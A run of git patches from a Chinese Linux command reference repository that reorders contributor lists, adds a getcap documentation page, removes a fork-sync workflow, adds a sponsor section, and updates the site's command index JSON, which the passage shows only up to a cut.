-FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -duzhuoshanwai Dazhuangw Alterem -RichardLCD YH Xingwen Zhang -cxalc -jqz3.tech -juemuren4449 -kassadin -NanoNova -leo +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +NanoNova +kassadin +juemuren4449 +jqz3.tech +jcdj666 linuxwd Ricardowang cole @@ -356,13 +356,15 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver +zyimm +0x_000 dayday Deny dongpohezui ecjtusbs gang.yang gedune +geekeryy gesty ghy githubwxz @@ -372,8 +374,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. huangyao hululu1068 illmons -jcdj666 -rexlin600 七朔 孤城落寞 尘埃 @@ -390,6 +390,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 bycs Yidan Wang +oliver +rexlin600 sfwwslm shc shuangcui @@ -405,71 +407,70 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -zyimm -Mystic -MinsonLee -Marnm -mwei -Wang -Lucien -Lix -LinuxZilong -Lin Wuxian -孟思行 -LexsionLee -Legend -LaudOak -Karl Horky Nexchard -Jelly -Jack.A.Black -Jack -Huntout Zhang -HighScorePlayer -重劍無鋒 -Guiying Li -Github1977 -Frankie -Divenire -Derek -Danny -DaYangtuo247 -Cui Yang -azroy +Karl Horky +LaudOak +Legend +LexsionLee +孟思行 +Lin Wuxian +LinuxZilong +Lix +Lucien +Wang +mwei +Marnm +MinsonLee +Mystic +Q.Ben Zheng Alan -0x_000 -Forever121 -chaofan -c2ch -brinkqiang -bestlaw66 -bell -azureology -Ashine -amit794 -One Person’s Revelry -0Knot (0KN) -Yunbin Liu -Yan Sheng -Xu Chunyang +azroy +Cui Yang +DaYangtuo247 +Danny +Derek +Divenire +Frankie +Github1977 +Guiying Li +重劍無鋒 +HighScorePlayer +Huntout Zhang +Jack +Jack.A.Black +Jelly Xonline-Tech -Xiaodong DENG -XBG -Wingrez -Na Meng -T-TRz879 -SunX -Spaghetti-C -RoachZhao -Azolla -SevenSteven -SMVirus -殇 -Rocher -Robigus -Rining Wu +Xu Chunyang +Yan Sheng +Yunbin Liu +0Knot (0KN) +One Person’s Revelry +amit794 +Ashine +azureology +bell +bestlaw66 +brinkqiang +c2ch +chaofan +Forever121 +cxalc Ray Yee -Q.Ben Zheng +Rining Wu +Robigus +Rocher +殇 +SMVirus +SevenSteven +Azolla +RoachZhao +Spaghetti-C +SunX +T-TRz879 +Na Meng +Wingrez +XBG +Xiaodong DENG 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 87a3114a84f601c730e7c3f85b9f6dba3463f744 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 9 Apr 2025 04:59:00 +0000 Subject: [PATCH 472/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 165 +++++++++++++++++++------------------- 1 file changed, 83 insertions(+), 82 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2af191f255a..a17485db3d2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -18,20 +18,20 @@ Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye lavaicer YEUNGCHIE -SteveLauC +James Wang MioMuse Xrtero -James Wang Shan Chenyu -BingCoke +SteveLauC +duzhuoshanwai gggwvg VVatt will @@ -41,24 +41,24 @@ alfred Wang Yujia Qliangw -Ein Verne -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -duzhuoshanwai Dazhuangw Alterem -RichardLCD YH Xingwen Zhang -cxalc -jqz3.tech -juemuren4449 -kassadin -NanoNova -leo +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +NanoNova +kassadin +juemuren4449 +jqz3.tech +jcdj666 linuxwd Ricardowang cole @@ -66,13 +66,15 @@ miniwater noodles2hg nsnans -oliver +zyimm +0x_000 dayday Deny dongpohezui ecjtusbs gang.yang gedune +geekeryy gesty ghy githubwxz @@ -82,8 +84,6 @@ huangyao hululu1068 illmons -jcdj666 -rexlin600 七朔 孤城落寞 尘埃 @@ -100,6 +100,8 @@ 远方 bycs Yidan Wang +oliver +rexlin600 sfwwslm shc shuangcui @@ -115,71 +117,70 @@ zodiac zoomdong zuixin369 -zyimm -Mystic -MinsonLee -Marnm -mwei -Wang -Lucien -Lix -LinuxZilong -Lin Wuxian -孟思行 -LexsionLee -Legend -LaudOak -Karl Horky Nexchard -Jelly -Jack.A.Black -Jack -Huntout Zhang -HighScorePlayer -重劍無鋒 -Guiying Li -Github1977 -Frankie -Divenire -Derek -Danny -DaYangtuo247 -Cui Yang -azroy +Karl Horky +LaudOak +Legend +LexsionLee +孟思行 +Lin Wuxian +LinuxZilong +Lix +Lucien +Wang +mwei +Marnm +MinsonLee +Mystic +Q.Ben Zheng Alan -0x_000 -Forever121 -chaofan -c2ch -brinkqiang -bestlaw66 -bell -azureology -Ashine -amit794 -One Person’s Revelry -0Knot (0KN) -Yunbin Liu -Yan Sheng -Xu Chunyang +azroy +Cui Yang +DaYangtuo247 +Danny +Derek +Divenire +Frankie +Github1977 +Guiying Li +重劍無鋒 +HighScorePlayer +Huntout Zhang +Jack +Jack.A.Black +Jelly Xonline-Tech -Xiaodong DENG -XBG -Wingrez -Na Meng -T-TRz879 -SunX -Spaghetti-C -RoachZhao -Azolla -SevenSteven -SMVirus -殇 -Rocher -Robigus -Rining Wu +Xu Chunyang +Yan Sheng +Yunbin Liu +0Knot (0KN) +One Person’s Revelry +amit794 +Ashine +azureology +bell +bestlaw66 +brinkqiang +c2ch +chaofan +Forever121 +cxalc Ray Yee -Q.Ben Zheng +Rining Wu +Robigus +Rocher +殇 +SMVirus +SevenSteven +Azolla +RoachZhao +Spaghetti-C +SunX +T-TRz879 +Na Meng +Wingrez +XBG +Xiaodong DENG

数据来源于 GitHub Contributors，使用action-contributors创建。 From 6f32e1e9ee44886a06198fda0ac5f44445bb9c66 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 27 Apr 2025 17:18:20 +0800 Subject: [PATCH 473/570] feat: add getcap. fix #644 --- command/getcap.md | 49 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 command/getcap.md diff --git a/command/getcap.md b/command/getcap.md new file mode 100644 index 00000000000..1f57f464b57 --- /dev/null +++ b/command/getcap.md @@ -0,0 +1,49 @@ +getcap +=== + +显示文件的能力（capabilities） + +## 补充说明 + +**getcap命令** 用于查看文件的能力（capabilities）。在 Linux 中，文件的能力是一种权限控制机制，可以赋予普通文件特定的特权操作，而无需完全的 root 权限。 + +### 语法 + +```shell +getcap [选项] [文件名...] +``` + +### 选项 + +```shell +-v # 显示详细信息，通常与其他选项一起使用。 +-p # 显示进程的能力。 +``` + +### 参数 + +文件名：指定要查看能力的文件路径。 + +### 实例 + +查看一个可执行文件的能力： + +```shell +$ getcap /usr/bin/ping +/usr/bin/ping = cap_net_raw+ep +``` + +查看当前目录下所有文件的能力： + +```shell +$ getcap * +/usr/bin/ping = cap_net_raw+ep +``` + +如果文件没有设置任何能力，getcap 不会返回任何输出。 + +查看进程的能力（以 PID 为例）： + +```shell +$ getcap -p 1234 +``` \ No newline at end of file From 7fb73de0106266a8c64a8b9499791641a0e1c919 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 27 Apr 2025 09:19:08 +0000 Subject: [PATCH 474/570] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3af46b03dee..932a97c0417 100644 --- a/README.md +++ b/README.md @@ -357,11 +357,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans zyimm -0x_000 dayday Deny dongpohezui ecjtusbs +focksor gang.yang gedune geekeryy @@ -407,6 +407,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +0x_000 Nexchard Karl Horky LaudOak From 3bf5e616dc0119b8ec1ddc57ce207b7331d582a4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 27 Apr 2025 09:19:10 +0000 Subject: [PATCH 475/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a17485db3d2..2b4e642496a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -67,11 +67,11 @@ noodles2hg nsnans zyimm -0x_000 dayday Deny dongpohezui ecjtusbs +focksor gang.yang gedune geekeryy @@ -117,6 +117,7 @@ zodiac zoomdong zuixin369 +0x_000 Nexchard Karl Horky LaudOak From fbf2cdd86d1f0e624fb85a32c77adbec2939993d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 27 Apr 2025 17:23:47 +0800 Subject: [PATCH 476/570] ci: remove .github/workflows/sync.yml #554 --- .github/workflows/sync.yml | 40 -------------------------------------- 1 file changed, 40 deletions(-) delete mode 100644 .github/workflows/sync.yml diff --git a/.github/workflows/sync.yml b/.github/workflows/sync.yml deleted file mode 100644 index df5a9fa39eb..00000000000 --- a/.github/workflows/sync.yml +++ /dev/null @@ -1,40 +0,0 @@ -name: Upstream Sync - -permissions: - contents: write - -on: - schedule: - - cron: "0 0 * * *" # every day - workflow_dispatch: - -jobs: - sync_latest_from_upstream: - name: Sync latest commits from upstream repo - runs-on: ubuntu-latest - if: ${{ github.event.repository.fork }} - - steps: - # Step 1: run a standard checkout action - - name: Checkout target repo - uses: actions/checkout@v4 - - # Step 2: run the sync action - - name: Sync upstream changes - id: sync - uses: aormsby/Fork-Sync-With-Upstream-action@v3.4 - with: - upstream_sync_repo: jaywcjlove/linux-command - upstream_sync_branch: master - target_sync_branch: master - target_repo_token: ${{ secrets.GITHUB_TOKEN }} # automatically generated, no need to set - - # Set test_mode true to run tests instead of the true action!! - test_mode: false - - - name: Sync check - if: failure() - run: | - echo "[Error] 由于上游仓库的 workflow 文件变更，导致 GitHub 自动暂停了本次自动更新，你需要手动 Sync Fork 一次。" - echo "[Error] Due to a change in the workflow file of the upstream repository, GitHub has automatically suspended the scheduled automatic update. You need to manually sync your fork." - exit 1 From 81f8eef8bfcc0e431e52fd6597b9f581bd240810 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Mon, 12 May 2025 18:36:38 +0800 Subject: [PATCH 477/570] doc: update README.md --- README.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/README.md b/README.md index 932a97c0417..44d59e327b7 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,36 @@ 当前仓库搜集了 600 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 +## 赞助支持 + +非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表： + +

+ Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Paste Quick + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe +

+ ## Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) From e8a04497f65e328a8b7fee8b496a99f35d73d18a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Mon, 12 May 2025 18:37:21 +0800 Subject: [PATCH 478/570] doc: update README.md --- README.md | 46 +++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 44d59e327b7..4570c99799f 100644 --- a/README.md +++ b/README.md @@ -20,29 +20,29 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

- Musicer - Audioer - FileSentinel - FocusCursor - Videoer - KeyClicker - DayBar - Iconed - RightMenu Master - Paste Quick - Quick RSS - Web Serve - Copybook Generator - DevTutor for SwiftUI - RegexMate - Time Passage - Iconize Folder - Textsound Saver - Create Custom Symbols - DevHub - Resume Revise - Palette Genius - Symbol Scribe + Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Quick RSS + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe

## Web 版本 From 35bfec9b1a00385ae0a3a6fec0db4e7d8234d31a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 13 May 2025 01:22:41 +0800 Subject: [PATCH 479/570] ci: update workflows config. --- .github/workflows/ci.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7091845dbb4..c8dcecc907c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -28,6 +28,7 @@ jobs: uses: jaywcjlove/github-action-modify-file-content@main with: path: README.md + trim_whitespace: false openDelimiter: '' closeDelimiter: '' body: | @@ -37,6 +38,7 @@ jobs: uses: jaywcjlove/github-action-modify-file-content@main with: path: template/contributors.ejs + trim_whitespace: false openDelimiter: '' closeDelimiter: '' body: | From 02dbba48985bf6a4a0b6b4b89ffea78c127c9dfd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 12 May 2025 17:23:20 +0000 Subject: [PATCH 480/570] doc: update README.md. --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 4570c99799f..d47a2a8ec75 100644 --- a/README.md +++ b/README.md @@ -323,7 +323,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 一如既往，感谢我们出色的贡献者！ -小弟调调 + +小弟调调 ZhuangZhu-74 Mend Renovate Huck Huang @@ -501,7 +502,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG -Xiaodong DENG +Xiaodong DENG + + + 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From bcea27fe4059ecdb78e8e43f2100572bfe9f7a9f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 12 May 2025 17:23:21 +0000 Subject: [PATCH 481/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2b4e642496a..81cce14e78f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,7 +3,8 @@

贡献者列表

- 小弟调调 + +小弟调调 ZhuangZhu-74 Mend Renovate Huck Huang @@ -181,7 +182,10 @@ Na Meng Wingrez XBG -Xiaodong DENG +Xiaodong DENG + + +

数据来源于 GitHub Contributors，使用action-contributors创建。 From b86b82ed615beb92b14a635fc5e0848fa72cffd9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 4 Jun 2025 19:04:33 +0800 Subject: [PATCH 482/570] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index d47a2a8ec75..eccb6b37e1b 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ Mousio Musicer Audioer FileSentinel From 6197d862da03dcefcd4776977d8d74ff4f3bbf14 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Jun 2025 08:53:46 +0800 Subject: [PATCH 483/570] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index eccb6b37e1b..2f19376201c 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ Mousio Hint Mousio Musicer Audioer From 22f1caf16d8b2f65569271ec4e28c5783eebccb6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 09:20:59 +0800 Subject: [PATCH 484/570] website: update contributors. --- README.md | 4 ++-- dist/data.json | 22 +++++++++++++++++++++- dist/data.min.json | 2 +- template/contributors.ejs | 34 +++++++++++++++++++++++++++++++++- template/styl/index.styl | 11 +++++++++++ template/widget/footer.ejs | 3 +++ 6 files changed, 71 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 2f19376201c..cd890c74514 100644 --- a/README.md +++ b/README.md @@ -67,11 +67,11 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/), [`linux.jiangyang.online`](https://linux.jiangyang.online/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[`renye.net`](https://renye.net/)，[`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/)，[`linux.jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/), [`51tools.info`](https://51tools.info/linux/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/)，[`51tools.info`](https://51tools.info/linux/) ## 其它版本 diff --git a/dist/data.json b/dist/data.json index 75eae0c05a3..ace6fad37f7 100644 --- a/dist/data.json +++ b/dist/data.json @@ -869,6 +869,11 @@ "p": "/get_module", "d": "获取Linux内核模块的详细信息" }, + "getcap": { + "n": "getcap", + "p": "/getcap", + "d": "显示文件的能力（capabilities）" + }, "getenforce": { "n": "getenforce", "p": "/getenforce", @@ -879,6 +884,11 @@ "p": "/getent", "d": "查询 DNS 名称服务器中的命名空间" }, + "getfacl": { + "n": "getfacl", + "p": "/getfacl", + "d": "获取文件访问控制列表(access control lists)" + }, "getsebool": { "n": "getsebool", "p": "/getsebool", @@ -1132,7 +1142,7 @@ "iostat": { "n": "iostat", "p": "/iostat", - "d": "iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。" + "d": "监视系统输入输出设备和CPU的使用情况" }, "iotop": { "n": "iotop", @@ -1779,6 +1789,11 @@ "p": "/nslookup", "d": "查询域名DNS信息的工具" }, + "nstat": { + "n": "nstat", + "p": "/nstat", + "d": "nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。" + }, "ntpdate": { "n": "ntpdate", "p": "/ntpdate", @@ -2689,6 +2704,11 @@ "p": "/type", "d": "显示指定命令的类型。" }, + "ufw": { + "n": "ufw", + "p": "/ufw", + "d": " ubuntu防火墙管理工具" + }, "ulimit": { "n": "ulimit", "p": "/ulimit", diff --git a/dist/data.min.json b/dist/data.min.json index cb420adfeff..c184790cee2 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian 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ubuntu防火墙管理工具"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 